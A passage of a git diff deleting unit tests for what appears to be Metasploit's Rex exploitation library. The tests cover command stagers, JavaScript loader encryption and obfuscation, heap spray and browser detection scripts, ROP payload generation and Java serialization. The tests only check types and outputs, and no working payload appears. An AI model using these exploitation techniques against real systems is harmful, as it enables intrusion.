expect(result).to_not be_empty - end - end - -end diff --git a/spec/lib/rex/exploitation/cmdstager/tftp_spec.rb b/spec/lib/rex/exploitation/cmdstager/tftp_spec.rb deleted file mode 100644 index bd13bd7d28..0000000000 --- a/spec/lib/rex/exploitation/cmdstager/tftp_spec.rb +++ /dev/null @@ -1,29 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'rex/exploitation/cmdstager' - -RSpec.describe Rex::Exploitation::CmdStagerTFTP do - - let(:exe) { "MZ" } - - subject(:cmd_stager) do - described_class.new(exe) - end - - describe '#cmd_concat_operator' do - it "returns nil" do - expect(cmd_stager.cmd_concat_operator).to be_nil - end - end - - describe '#generate' do - it "returns an array of commands" do - result = cmd_stager.generate - - expect(result).to be_kind_of(Array) - expect(result).to_not be_empty - end - end - -end diff --git a/spec/lib/rex/exploitation/cmdstager/vbs_spec.rb b/spec/lib/rex/exploitation/cmdstager/vbs_spec.rb deleted file mode 100644 index 0de9fcd8d1..0000000000 --- a/spec/lib/rex/exploitation/cmdstager/vbs_spec.rb +++ /dev/null @@ -1,35 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'rex/exploitation/cmdstager' - -RSpec.describe Rex::Exploitation::CmdStagerVBS do - - let(:exe) { "MZ" } - - subject(:cmd_stager) do - described_class.new(exe) - end - - describe '#cmd_concat_operator' do - it "returns &" do - expect(cmd_stager.cmd_concat_operator).to eq(" & ") - end - end - - describe '#generate' do - let(:opts) do - { - :decoder => File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64") - } - end - - it "returns an array of commands" do - result = cmd_stager.generate(opts) - - expect(result).to be_kind_of(Array) - expect(result).to_not be_empty - end - end - -end diff --git a/spec/lib/rex/exploitation/encryptjs_spec.rb b/spec/lib/rex/exploitation/encryptjs_spec.rb deleted file mode 100644 index d23541b730..0000000000 --- a/spec/lib/rex/exploitation/encryptjs_spec.rb +++ /dev/null @@ -1,35 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'rex/exploitation/encryptjs' - -RSpec.describe Rex::Exploitation::EncryptJS do - - let(:code) { "var test = 'metasploit';" } - let(:key) { 'secret' } - let(:signature) { 'metasploit' } - let(:loader_signature) { 'location.search.substring(1);' } - let(:loader_key_words) { ['exploit', 'encoded', 'pass', 'decoded'] } - - describe ".encrypt" do - it "returns an String" do - expect(Rex::Exploitation::EncryptJS.encrypt(code, key)).to be_an(String) - end - - it "returns the JavaScript loader code" do - expect(Rex::Exploitation::EncryptJS.encrypt(code, key)).to include(loader_signature) - end - - it "encrypts the code" do - expect(Rex::Exploitation::EncryptJS.encrypt(code, key)).to_not include(signature) - end - - it "obfuscates the loader" do - loader_key_words.each do |key_word| - expect(Rex::Exploitation::EncryptJS.encrypt(code, key)).to_not include(key_word) - end - end - - end - -end diff --git a/spec/lib/rex/exploitation/heaplib_spec.rb b/spec/lib/rex/exploitation/heaplib_spec.rb deleted file mode 100644 index 951d530b1c..0000000000 --- a/spec/lib/rex/exploitation/heaplib_spec.rb +++ /dev/null @@ -1,66 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'rex/exploitation/heaplib' - -RSpec.describe Rex::Exploitation::HeapLib do - - let(:custom_code) { "var test = 'metasploit';" } - let(:plain_signature) { 'JavaScript Heap Exploitation library' } - let(:signature) { 'function(maxAlloc, heapBase)' } - let(:methods) { - [ - 'lookasideAddr', - 'lookaside', - 'flushOleaut32', - 'freeOleaut32', - 'allocOleaut32', - 'paddingStr', - 'debugBreak', - 'debugHeap' - ] - } - - subject(:heap_lib_class) do - described_class.allocate - end - - subject(:heap_lib) do - described_class.new - end - - describe "#initialize" do - it "returns an String" do - expect(heap_lib_class.send(:initialize)).to be_a(String) - end - - it "returns the heap lib code" do - expect(heap_lib_class.send(:initialize)).to include(signature) - end - - it "obfuscates with ObfuscateJS by default" do - methods.each do |m| - expect(heap_lib_class.send(:initialize)).to_not include(m) - end - end - - it "allows to provide custom JS code as argument" do - expect(heap_lib_class.send(:initialize, custom_code)).to include(custom_code) - end - - it "allows to disable obfuscation" do - expect(heap_lib_class.send(:initialize, '', {:noobfu => true})).to include(plain_signature) - end - - it "allows to use JSObfu for obfuscation" do - expect(heap_lib_class.send(:initialize, '', {:newobfu => true})).to_not include(plain_signature) - end - end - - describe "#to_s" do - it "returns the heap lib js code" do - expect(heap_lib.to_s).to include(signature) - end - end - -end diff --git a/spec/lib/rex/exploitation/js/detect_spec.rb b/spec/lib/rex/exploitation/js/detect_spec.rb deleted file mode 100644 index 84b6a79487..0000000000 --- a/spec/lib/rex/exploitation/js/detect_spec.rb +++ /dev/null @@ -1,30 +0,0 @@ -require 'rex/exploitation/js' - -RSpec.describe Rex::Exploitation::Js::Detect do - - context "Class methods" do - - context ".os" do - it "should load the OS detection in Javascript" do - js = Rex::Exploitation::Js::Detect.os.to_s - expect(js).to match /os_detect/ - end - end - - context ".ie_addons" do - it "should load the IE Addons detection in Javascript" do - js = Rex::Exploitation::Js::Detect.ie_addons.to_s - expect(js).to match /ie_addons_detect/ - end - end - - context ".misc_addons" do - it "should load the misc Addons detection in Javascript" do - js = Rex::Exploitation::Js::Detect.misc_addons.to_s - expect(js).to match /misc_addons_detect/ - end - end - - end - -end diff --git a/spec/lib/rex/exploitation/js/memory_spec.rb b/spec/lib/rex/exploitation/js/memory_spec.rb deleted file mode 100644 index 833c258f6d..0000000000 --- a/spec/lib/rex/exploitation/js/memory_spec.rb +++ /dev/null @@ -1,30 +0,0 @@ -require 'rex/exploitation/js' - -RSpec.describe Rex::Exploitation::Js::Memory do - - context "Class methods" do - - context ".mstime_malloc" do - it "should load the mstime_malloc javascript" do - js = Rex::Exploitation::Js::Memory.mstime_malloc - expect(js).to match /function mstime_malloc/ - end - end - - context ".property_spray" do - it "should load the property_spray javascript" do - js = Rex::Exploitation::Js::Memory.property_spray - expect(js).to match /function sprayHeap/ - end - end - - context ".heap_spray" do - it "should load the heap_spray javascript" do - js = Rex::Exploitation::Js::Memory.heap_spray - expect(js).to match /function sprayHeap/ - end - end - - end - -end diff --git a/spec/lib/rex/exploitation/js/network_spec.rb b/spec/lib/rex/exploitation/js/network_spec.rb deleted file mode 100644 index 27581f04a2..0000000000 --- a/spec/lib/rex/exploitation/js/network_spec.rb +++ /dev/null @@ -1,23 +0,0 @@ -require 'rex/exploitation/js' - -RSpec.describe Rex::Exploitation::Js::Network do - - context "Class methods" do - - context ".ajax_download" do - it "should load the ajax_download javascript" do - js = Rex::Exploitation::Js::Network.ajax_download - expect(js).to match /function ajax_download/ - end - end - - context ".ajax_post" do - it "should load the postInfo javascript" do - js = Rex::Exploitation::Js::Network.ajax_post - expect(js).to match /function postInfo/ - end - end - - end - -end diff --git a/spec/lib/rex/exploitation/js/utils_spec.rb b/spec/lib/rex/exploitation/js/utils_spec.rb deleted file mode 100644 index bb95bf0bdf..0000000000 --- a/spec/lib/rex/exploitation/js/utils_spec.rb +++ /dev/null @@ -1,16 +0,0 @@ -require 'rex/exploitation/js' - -RSpec.describe Rex::Exploitation::Js::Utils do - - context "Class methods" do - - context ".base64" do - it "should load the base64 javascript" do - js = Rex::Exploitation::Js::Utils.base64 - expect(js).to match /encode : function/ - end - end - - end - -end diff --git a/spec/lib/rex/exploitation/jsobfu_spec.rb b/spec/lib/rex/exploitation/jsobfu_spec.rb deleted file mode 100644 index e1f0c66085..0000000000 --- a/spec/lib/rex/exploitation/jsobfu_spec.rb +++ /dev/null @@ -1,29 +0,0 @@ -require 'spec_helper' -require 'rex/exploitation/jsobfu' - -RSpec.describe Rex::Exploitation::JSObfu do - TEST_JS = %Q| - function x() { - alert('1'); - }; - - x(); - | - - subject(:jsobfu) do - described_class.new(TEST_JS) - end - - describe '#obfuscate' do - - it 'returns a #to_s object' do - expect(jsobfu.obfuscate.to_s).to be_a(String) - end - - it 'returns a non-empty String' do - expect(jsobfu.obfuscate.to_s).not_to be_empty - end - - end - -end diff --git a/spec/lib/rex/exploitation/ropdb_spec.rb b/spec/lib/rex/exploitation/ropdb_spec.rb deleted file mode 100644 index 8e96de9d84..0000000000 --- a/spec/lib/rex/exploitation/ropdb_spec.rb +++ /dev/null @@ -1,85 +0,0 @@ -require 'rex/exploitation/ropdb' - -RSpec.describe Rex::Exploitation::RopDb do - - subject(:ropdb) do - described_class.new - end - - context "Class methods" do - - context ".initialize" do - it "should initialize with a path of the ROP database ready" do - expect(ropdb.instance_variable_get(:@base_path)).to match /data\/ropdb\/$/ - end - end - - context ".has_rop?" do - it "should find the msvcrt ROP database" do - expect(ropdb.has_rop?("msvcrt")).to be_truthy - end - - it "should find the java ROP database" do - expect(ropdb.has_rop?("java")).to be_truthy - end - - it "should find the hxds ROP database" do - expect(ropdb.has_rop?("hxds")).to be_truthy - end - - it "should find the flash ROP database" do - expect(ropdb.has_rop?("flash")).to be_truthy - end - - it "should return false when I supply an invalid database" do - expect(ropdb.has_rop?("sinn3r")).to be_falsey - end - end - - context ".select_rop" do - it "should return msvcrt gadgets" do - gadgets = ropdb.select_rop('msvcrt') - expect(gadgets.length).to be > 0 - end - - it "should return msvcrt gadgets for windows server 2003" do - gadgets = ropdb.select_rop('msvcrt', {'target'=>'2003'}) - expect(gadgets.length).to be > 0 - end - - it "should return msvcrt gadgets with a new base" do - gadgets1 = ropdb.select_rop('msvcrt') - gadgets2 = ropdb.select_rop('msvcrt', {'base'=>0x10000000}) - - expect(gadgets2[0]).not_to eq(gadgets1[0]) - end - end - - context ".generate_rop_payload" do - it "should generate my ROP payload" do - expect(ropdb.generate_rop_payload('msvcrt', 'AAAA')).to match /AAAA$/ - end - - it "should generate my ROP payload with my stack pivot" do - expect(ropdb.generate_rop_payload('msvcrt', 'AAAA', {'pivot'=>'BBBB'})).to match /^BBBB/ - end - end - - context ".get_safe_size" do - it "should return 0xfffffed0 (value does not need to be modified to avoid null bytes)" do - expect(ropdb.send(:get_safe_size, 304)).to eq(0xfffffed0) - end - - it "should return 0xfffffeff (value is modified to avoid null bytes)" do - expect(ropdb.send(:get_safe_size, 256)).to eq(0xfffffeff) - end - end - - context ".get_unsafe_size" do - it "should return 0xfffffc00 (contains a null byte)" do - expect(ropdb.send(:get_unsafe_size, 1024)).to eq(0xfffffc00) - end - end - - end -end diff --git a/spec/lib/rex/file_utils_spec.rb b/spec/lib/rex/file_utils_spec.rb deleted file mode 100644 index 1230c0ee0e..0000000000 --- a/spec/lib/rex/file_utils_spec.rb +++ /dev/null @@ -1,60 +0,0 @@ -require 'rex/file' - -RSpec.describe Rex::FileUtils do - context "Class methods" do - - context ".normalize_win_path" do - it "should convert an absolute path as an array into Windows format" do - expect(described_class.normalize_win_path('C:\\', 'hello', 'world')).to eq("C:\\hello\\world") - end - - it "should convert an absolute path as a string into Windows format" do - expect(described_class.normalize_win_path('C:\\hello\\world')).to eq("C:\\hello\\world") - end - - it "should convert a relative path" do - expect(described_class.normalize_win_path('/', 'test', 'me')).to eq("\\test\\me") - expect(described_class.normalize_win_path('\\temp')).to eq("\\temp") - expect(described_class.normalize_win_path('temp')).to eq("temp") - end - - it "should keep the trailing slash if exists" do - expect(described_class.normalize_win_path('/', 'test', 'me\\')).to eq("\\test\\me\\") - expect(described_class.normalize_win_path('\\temp\\')).to eq("\\temp\\") - end - - it "should convert a path without reserved characters" do - expect(described_class.normalize_win_path('C:\\', 'Windows:')).to eq("C:\\Windows") - expect(described_class.normalize_win_path('C:\\Windows???\\test')).to eq("C:\\Windows\\test") - end - - it "should convert a path without double slashes" do - expect(described_class.normalize_win_path('C:\\\\\\', 'Windows')).to eq("C:\\Windows") - expect(described_class.normalize_win_path('C:\\\\\\Hello World\\\\whatever.txt')).to eq("C:\\Hello World\\whatever.txt") - expect(described_class.normalize_win_path('C:\\\\')).to eq("C:\\") - expect(described_class.normalize_win_path('\\test\\\\test\\\\')).to eq("\\test\\test\\") - end - end - - context ".normalize_unix_path" do - it "should convert an absolute path as an array into Unix format" do - expect(described_class.normalize_unix_path('/etc', '/passwd')).to eq("/etc/passwd") - end - - it "should convert an absolute path as a string into Unix format" do - expect(described_class.normalize_unix_path('/etc/passwd')).to eq('/etc/passwd') - end - - it "should still give me a trailing slash if I have it" do - expect(described_class.normalize_unix_path('/etc/folder/')).to eq("/etc/folder/") - end - - it "should convert a path without double slashes" do - expect(described_class.normalize_unix_path('//etc////passwd')).to eq("/etc/passwd") - expect(described_class.normalize_unix_path('/etc////', 'passwd')).to eq('/etc/passwd') - end - end - - end -end - diff --git a/spec/lib/rex/java/serialization/builder_spec.rb b/spec/lib/rex/java/serialization/builder_spec.rb deleted file mode 100644 index 41c39baeb8..0000000000 --- a/spec/lib/rex/java/serialization/builder_spec.rb +++ /dev/null @@ -1,143 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'rex/java' - -RSpec.describe Rex::Java::Serialization::Builder do - subject(:builder) do - described_class.new - end - - let(:class_opts) do - { - name: 'java.rmi.MarshalledObject', - serial: 0x7cbd1e97ed63fc3e, - fields: [ - ['int', 'hash'], - ['array', 'locBytes', '[B'], - ['array', 'objBytes', '[B'] - ] - } - end - - let(:object_opts) do - { - data: [["int", 1]] - } - end - - let(:array_opts) do - { - values_type: 'byte', - values: [0x41, 0x42, 0x43, 0x44] - } - end - - describe ".new" do - it "returns a Rex::Java::Serialization::Builder" do - expect(builder).to be_a(Rex::Java::Serialization::Builder) - end - end - - describe "#new_class" do - context "when no options" do - it "returns a Rex::Java::Serialization::Model::NewClassDesc" do - expect(builder.new_class).to be_a(Rex::Java::Serialization::Model::NewClassDesc) - end - - it "sets an empty class name" do - expect(builder.new_class.class_name.contents).to eq('') - end - - it "sets a 0 serial version" do - expect(builder.new_class.serial_version).to eq(0) - end - - it "sets flags to SC_SERIALIZABLE" do - expect(builder.new_class.flags).to eq(Rex::Java::Serialization::SC_SERIALIZABLE) - end - - it "sets default annotations" do - expect(builder.new_class.class_annotation.contents.length).to eq(2) - end - - it "sets empty fields" do - expect(builder.new_class.fields.length).to eq(0) - end - - it "sets null super class" do - expect(builder.new_class.super_class.description).to be_a(Rex::Java::Serialization::Model::NullReference) - end - end - - context "when options" do - it "returns a Rex::Java::Serialization::Model::NewClassDesc" do - expect(builder.new_class(class_opts)).to be_a(Rex::Java::Serialization::Model::NewClassDesc) - end - - it "sets the class name from options" do - expect(builder.new_class(class_opts).class_name.contents).to eq(class_opts[:name]) - end - - it "sets serial version from options" do - expect(builder.new_class(class_opts).serial_version).to eq(class_opts[:serial]) - end - - it "sets fields from options" do - expect(builder.new_class(class_opts).fields.length).to eq(3) - end - end - end - - describe "#new_object" do - context "when no options" do - it "returns a Rex::Java::Serialization::Model::NewObject" do - expect(builder.new_object).to be_a(Rex::Java::Serialization::Model::NewObject) - end - - it "sets empty data" do - expect(builder.new_object.class_data).to eq([]) - end - end - - context "when options" do - it "returns a Rex::Java::Serialization::Model::NewObject" do - expect(builder.new_object(object_opts)).to be_a(Rex::Java::Serialization::Model::NewObject) - end - - it "sets data from options" do - expect(builder.new_object(object_opts).class_data[0][1]).to eq(1) - end - end - end - - describe "#new_array" do - context "when no options" do - it "returns a Rex::Java::Serialization::Model::NewArray" do - expect(builder.new_array).to be_a(Rex::Java::Serialization::Model::NewArray) - end - - it "sets empty values type" do - expect(builder.new_array.type).to eq('') - end - - it "sets empty values array" do - expect(builder.new_array.values).to eq([]) - end - end - - context "when options" do - it "returns a Rex::Java::Serialization::Model::NewArray" do - expect(builder.new_array(array_opts)).to be_a(Rex::Java::Serialization::Model::NewArray) - end - - it "sets empty values type" do - expect(builder.new_array(array_opts).type).to eq(array_opts[:values_type]) - end - - it "sets empty values array" do - expect(builder.new_array(array_opts).values).to eq(array_opts[:values]) - end - end - end -end \ No newline at end of file diff --git a/spec/lib/rex/java/serialization/model/annotation_spec.rb b/spec/lib/rex/java/serialization/model/annotation_spec.rb deleted file mode 100644 index acd6361cd8..0000000000 --- a/spec/lib/rex/java/serialization/model/annotation_spec.rb +++ /dev/null @@ -1,105 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'rex/java' -require 'stringio' - -RSpec.describe Rex::Java::Serialization::Model::Annotation do - subject(:annotation) do - described_class.new - end - - let(:empty_contents) { "\x78" } - let(:empty_contents_io) { StringIO.new(empty_contents) } - let(:contents) { "\x77\x05\x01\x02\x03\x04\x05\x7a\x00\x00\x00\x05\x01\x02\x03\x04\x05\x78" } - let(:contents_io) { StringIO.new(contents) } - - describe ".new" do - it "Rex::Java::Serialization::Model::Annotation" do - expect(annotation).to be_a(Rex::Java::Serialization::Model::Annotation) - end - - it "initializes contents with empty array" do - expect(annotation.contents).to be_empty - end - end - - describe "#encode" do - - context "when empty contents" do - it do - annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new - expect(annotation.encode).to eq(empty_contents) - end - end - - context "when block data contents" do - it do - annotation.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x01\x02\x03\x04\x05") - annotation.contents << Rex::Java::Serialization::Model::BlockDataLong.new(nil, "\x01\x02\x03\x04\x05") - annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new - expect(annotation.encode).to eq(contents) - end - end - - end - - describe "#decode" do - - context "when empty contents" do - it "returns a Rex::Java::Serialization::Model::Annotation" do - expect(annotation.decode(empty_contents_io)).to be_a(Rex::Java::Serialization::Model::Annotation) - end - - it "unserializes one content" do - annotation.decode(empty_contents_io) - expect(annotation.contents.length).to eq(1) - end - - it "unserializes one EndBlockData content" do - annotation.decode(empty_contents_io) - expect(annotation.contents[0]).to be_a(Rex::Java::Serialization::Model::EndBlockData) - end - end - - context "when block data contents" do - it "returns a Rex::Java::Serialization::Model::Annotation" do - expect(annotation.decode(contents_io)).to be_a(Rex::Java::Serialization::Model::Annotation) - end - - it "deserializes contents" do - annotation.decode(contents_io) - expect(annotation.contents.length).to eq(3) - end - - it "deserializes block data contents" do - annotation.decode(contents_io) - expect(annotation.contents[0]).to be_a_kind_of(Rex::Java::Serialization::Model::BlockData) - end - - it "deserializes block data long contents" do - annotation.decode(contents_io) - expect(annotation.contents[1]).to be_a_kind_of(Rex::Java::Serialization::Model::BlockDataLong) - end - - it "deserializes end block data" do - annotation.decode(contents_io) - expect(annotation.contents[2]).to be_a_kind_of(Rex::Java::Serialization::Model::EndBlockData) - end - end - - end - - describe "#to_s" do - it "prints an empty annotation" do - annotation.decode(empty_contents_io) - expect(annotation.to_s).to eq('[ EndBlockData ]') - end - - it "prints an annotation with contents" do - annotation.decode(contents_io) - expect(annotation.to_s).to eq('[ BlockData { [ 0x1, 0x2, 0x3, 0x4, 0x5 ] }, BlockDataLong { [ 0x1, 0x2, 0x3, 0x4, 0x5 ] }, EndBlockData ]') - end - end - -end \ No newline at end of file diff --git a/spec/lib/rex/java/serialization/model/block_data_long_spec.rb b/spec/lib/rex/java/serialization/model/block_data_long_spec.rb deleted file mode 100644 index 28a72ece9a..0000000000 --- a/spec/lib/rex/java/serialization/model/block_data_long_spec.rb +++ /dev/null @@ -1,107 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'rex/java' -require 'stringio' - -RSpec.describe Rex::Java::Serialization::Model::BlockDataLong do - subject(:block) do - described_class.new - end - - let(:sample_block) { "\x00\x00\x00\x10\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" } - let(:sample_block_io) { StringIO.new(sample_block) } - let(:empty_block) { "\x00\x00\x00\x00" } - let(:empty_block_io) { StringIO.new(empty_block) } - let(:incomplete_block) { "\x00\x00\x00\x10\x01\x02\x03\x04\x05" } - let(:incomplete_block_io) { StringIO.new(incomplete_block) } - let(:empty_io) { StringIO.new('') } - - describe ".new" do - it "Rex::Java::Serialization::Model::BlockDataLong" do - expect(block).to be_a(Rex::Java::Serialization::Model::BlockDataLong) - end - - it "initializes length to 0" do - expect(block.length).to eq(0) - end - - it "initializes contents with empty string" do - expect(block.contents).to be_empty - end - end - - describe "#encode" do - context "when empty block" do - it { expect(block.encode).to eq(empty_block) } - end - - context "when filled block" do - it do - block.length = 16 - block.contents = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" - expect(block.encode).to eq(sample_block) - end - end - end - - describe "#decode" do - context "when stream contains empty string" do - it "returns nil" do - expect { block.decode(empty_io) }.to raise_error(Rex::Java::Serialization::DecodeError) - end - end - - context "when stream contains empty block" do - it "returns a Rex::Java::Serialization::Model::BlockDataLong" do - expect(block.decode(empty_block_io)).to be_a(Rex::Java::Serialization::Model::BlockDataLong) - end - - it "sets length to 0" do - block.decode(empty_block_io) - expect(block.length).to eq(0) - end - - it "sets contents to empty string" do - block.decode(empty_block_io) - expect(block.contents).to be_empty - end - end - - context "when stream contains incomplete block" do - it "returns nil" do - expect { block.decode(incomplete_block_io) }.to raise_error(Rex::Java::Serialization::DecodeError) - end - end - - context "when stream contains correct block" do - - it "returns a Rex::Java::Serialization::Model::BlockDataLong" do - expect(block.decode(sample_block_io)).to be_a(Rex::Java::Serialization::Model::BlockDataLong) - end - - it "sets length to 0" do - block.decode(sample_block_io) - expect(block.length).to eq(16) - end - - it "sets contents to sample string" do - block.decode(sample_block_io) - expect(block.contents).to eq("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10") - end - end - - describe "#to_s" do - it "prints a block with contents" do - block.decode(sample_block_io) - expect(block.to_s).to eq('[ 0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8, 0x9, 0xa, 0xb, 0xc, 0xd, 0xe, 0xf, 0x10 ]') - end - - it "prints an empty string for an empty block" do - block.decode(empty_block_io) - expect(block.to_s).to eq('[ ]') - end - end - - end -end \ No newline at end of file diff --git a/spec/lib/rex/java/serialization/model/block_data_spec.rb b/spec/lib/rex/java/serialization/model/block_data_spec.rb deleted file mode 100644 index e6c93dda3a..0000000000 --- a/spec/lib/rex/java/serialization/model/block_data_spec.rb +++ /dev/null @@ -1,106 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'rex/java' -require 'stringio' - -RSpec.describe Rex::Java::Serialization::Model::BlockData do - subject(:block) do - described_class.new - end - - let(:sample_block) { "\x10\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" } - let(:sample_block_io) { StringIO.new(sample_block) } - let(:empty_block) { "\x00" } - let(:empty_block_io) { StringIO.new(empty_block) } - let(:incomplete_block) { "\x10\x01\x02\x03\x04\x05" } - let(:incomplete_block_io) { StringIO.new(incomplete_block) } - let(:empty_io) { StringIO.new('') } - - describe ".new" do - it "Rex::Java::Serialization::Model::BlockData" do - expect(block).to be_a(Rex::Java::Serialization::Model::BlockData) - end - - it "initializes length to 0" do - expect(block.length).to eq(0) - end - - it "initializes contents with empty string" do - expect(block.contents).to be_empty - end - end - - describe "#encode" do - context "when empty block" do - it { expect(block.encode).to eq(empty_block) } - end - - context "when filled block" do - it do - block.length = 16 - block.contents = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" - expect(block.encode).to eq(sample_block) - end - end - end - - describe "#decode" do - context "when stream contains empty string" do - it "returns nil" do - expect { block.decode(empty_io) }.to raise_error(Rex::Java::Serialization::DecodeError) - end - end - - context "when stream contains empty block" do - it "returns a Rex::Java::Serialization::Model::BlockData" do - expect(block.decode(empty_block_io)).to be_a(Rex::Java::Serialization::Model::BlockData) - end - - it "sets length to 0" do - block.decode(empty_block_io) - expect(block.length).to eq(0) - end - - it "sets contents to empty string" do - block.decode(empty_block_io) - expect(block.contents).to be_empty - end - end - - context "when stream contains incomplete block" do - it "returns nil" do - expect { block.decode(incomplete_block_io) }.to raise_error(Rex::Java::Serialization::DecodeError) - end - end - - context "when stream contains correct block" do - - it "returns a Rex::Java::Serialization::Model::BlockData" do - expect(block.decode(sample_block_io)).to be_a(Rex::Java::Serialization::Model::BlockData) - end - - it "sets length to 0" do - block.decode(sample_block_io) - expect(block.length).to eq(16) - end - - it "sets contents to sample string" do - block.decode(sample_block_io) - expect(block.contents).to eq("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10") - end - end - end - - describe "#to_s" do - it "prints a block with contents" do - block.decode(sample_block_io) - expect(block.to_s).to eq('[ 0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8, 0x9, 0xa, 0xb, 0xc, 0xd, 0xe, 0xf, 0x10 ]') - end - - it "prints an empty string for an empty block" do - block.decode(empty_block_io) - expect(block.to_s).to eq('[ ]') - end - end -end \ No newline at end of file diff --git a/spec/lib/rex/java/serialization/model/class_desc_spec.rb b/spec/lib/rex/java/serialization/model/class_desc_spec.rb deleted file mode 100644 index 277a2fa4df..0000000000 --- a/spec/lib/rex/java/serialization/model/class_desc_spec.rb +++ /dev/null @@ -1,81 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'rex/java' -require 'stringio' - -RSpec.describe Rex::Java::Serialization::Model::ClassDesc do - subject(:class_desc) do - described_class.new - end - - let(:sample) do - "\x72\x00\x0e\x6a\x61\x76\x61\x2e\x6c\x61\x6e" + - "\x67\x2e\x42\x79\x74\x65\x9c\x4e\x60\x84\xee\x50\xf5\x1c\x02\x00" + - "\x01\x42\x00\x05\x76\x61\x6c\x75\x65\x78\x72\x00\x10\x6a\x61\x76" + - "\x61\x2e\x6c\x61\x6e\x67\x2e\x4e\x75\x6d\x62\x65\x72\x86\xac\x95" + - "\x1d\x0b\x94\xe0\x8b\x02\x00\x00\x78\x70" - end - - let(:sample_io) { StringIO.new(sample) } - - describe ".new" do - it "Rex::Java::Serialization::Model::NewClassDesc" do - expect(class_desc).to be_a(Rex::Java::Serialization::Model::ClassDesc) - end - - it "initializes description with nil" do - expect(class_desc.description).to be_nil - end - end - - describe "#decode" do - it "returns a Rex::Java::Serialization::Model::ClassDesc" do - expect(class_desc.decode(sample_io)).to be_a(Rex::Java::Serialization::Model::ClassDesc) - end - - it "deserializes the description correctly" do - class_desc.decode(sample_io) - expect(class_desc.description).to be_a(Rex::Java::Serialization::Model::NewClassDesc) - end - end - - describe "#encode" do - it "serializes a ClassDesc" do - super_class_desc_new = Rex::Java::Serialization::Model::NewClassDesc.new - super_class_desc_new.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.Number') - super_class_desc_new.serial_version = 0x86ac951d0b94e08b - super_class_desc_new.flags = 2 - super_class_desc_new.class_annotation = Rex::Java::Serialization::Model::Annotation.new - super_class_desc_new.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new - super_class_desc_new.super_class = Rex::Java::Serialization::Model::ClassDesc.new - super_class_desc_new.super_class.description = Rex::Java::Serialization::Model::NullReference.new - - super_class_desc = Rex::Java::Serialization::Model::ClassDesc.new - super_class_desc.description = super_class_desc_new - - class_desc_new = Rex::Java::Serialization::Model::NewClassDesc.new - class_desc_new.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.Byte') - class_desc_new.serial_version = 0x9c4e6084ee50f51c - class_desc_new.flags = 2 - field = Rex::Java::Serialization::Model::Field.new - field.type = 'byte' - field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'value') - class_desc_new.fields << field - class_desc_new.class_annotation = Rex::Java::Serialization::Model::Annotation.new - class_desc_new.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new - class_desc_new.super_class = super_class_desc - - class_desc.description = class_desc_new - - expect(class_desc.encode.unpack("C*")).to eq(sample.unpack("C*")) - end - end - - describe "#to_s" do - it "prints a sample ClassDesc" do - class_desc.decode(sample_io) - expect(class_desc.to_s).to be_a(String) - end - end -end \ No newline at end of file diff --git a/spec/lib/rex/java/serialization/model/field_spec.rb b/spec/lib/rex/java/serialization/model/field_spec.rb deleted file mode 100644 index d8e14cd9bc..0000000000 --- a/spec/lib/rex/java/serialization/model/field_spec.rb +++ /dev/null @@ -1,108 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'rex/java' -require 'stringio' - -RSpec.describe Rex::Java::Serialization::Model::Field do - subject(:field) do - described_class.new - end - - let(:sample_primitive) { "I\x00\x06number" } - let(:sample_primitive_io) { StringIO.new(sample_primitive) } - let(:sample_object) { "[\x00\x0atest_arrayt\x00\x0b[LEmployee;" } - let(:sample_object_io) { StringIO.new(sample_object) } - - describe ".new" do - it "Rex::Java::Serialization::Model::Field" do - expect(field).to be_a(Rex::Java::Serialization::Model::Field) - end - - it "initializes code with empty string" do - expect(field.type).to be_empty - end - - it "initializes name with nil" do - expect(field.name).to be_nil - end - - it "initializes field_type with nil" do - expect(field.field_type).to be_nil - end - end - - describe "#encode" do - context "when empty field" do - it { expect { field.encode }.to raise_error(Rex::Java::Serialization::EncodeError) } - end - - context "when primitive field" do - it do - field.type = 'int' - field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'number') - expect(field.encode).to eq(sample_primitive) - end - end - - context "when object field" do - it do - field.type = 'array' - field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'test_array') - field.field_type = Rex::Java::Serialization::Model::Utf.new(nil, '[LEmployee;') - expect(field.encode).to eq(sample_object) - end - end - end - - describe "#decode" do - context "when stream contains a primitive field" do - it "returns a Rex::Java::Serialization::Model::Field" do - expect(field.decode(sample_primitive_io)).to be_a(Rex::Java::Serialization::Model::Field) - end - - it "deserializes field type" do - field.decode(sample_primitive_io) - expect(field.type).to eq('int') - end - - it "deserializes field name as Utf" do - field.decode(sample_primitive_io) - expect(field.name.contents).to eq('number') - end - end - - context "when stream contains an object field" do - it "returns a Rex::Java::Serialization::Model::Field" do - expect(field.decode(sample_object_io)).to 